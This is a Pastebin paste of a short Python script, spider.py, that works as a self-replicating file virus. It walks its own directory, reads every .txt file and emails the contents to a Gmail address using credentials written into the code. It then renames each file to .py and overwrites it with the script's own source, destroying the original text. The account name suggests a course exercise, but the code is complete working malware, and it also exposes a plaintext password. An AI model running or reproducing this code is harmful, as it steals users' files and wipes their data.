Advertisement
Guest User

Untitled

a guest
May 11th, 2016
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.35 KB | None | 0 0
  1. import os
  2. import smtplib
  3. self = []
  4.  
  5. def emailAndCopy(fullpath):
  6. global self
  7. split = fullpath.split(".")
  8.  
  9. if split[-1]=="txt":
  10. tempStore=[]
  11. openedFile=open(fullpath,"r")
  12. for line in openedFile:
  13. tempStore.append(line)
  14. openedFile.close()
  15. emailContents(tempStore)
  16. base = os.path.splitext(fullpath)[0]
  17. os.rename(fullpath, base + ".py")
  18. newName = split[0]+".py"
  19. openedFile = open(newName,"w")
  20. for line in self:
  21. openedFile.write(line)
  22. openedFile.close()
  23.  
  24. def emailContents(contents):
  25. rebuiltMessage =""
  26. for line in contents:
  27. rebuiltMessage +=line
  28. fromaddr = 'csc113test@gmail.com'
  29. toaddrs = 'csc113test@gmail.com'
  30.  
  31. username = 'csc113test@gmail.com'
  32. password = 'batmanjoker'
  33. server = smtplib.SMTP('smtp.gmail.com:587')
  34. server.ehlo()
  35. server.starttls()
  36. server.login(username,password)
  37. server.sendmail(fromaddr, toaddrs, rebuiltMessage)
  38. server.quit()
  39.  
  40.  
  41. def spider():
  42. for root, dirs, files in os.walk(os.path.dirname(__file__)):
  43. for name in files:
  44. fullpath = os.path.join(root, name)
  45. emailAndCopy(fullpath)
  46.  
  47.  
  48. def storeSelf():
  49. global self
  50. myself = open("spider.py","r")
  51. for line in myself:
  52. self.append(line)
  53. myself.close()
  54.  
  55.  
  56. storeSelf()
  57.  
  58. spider()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement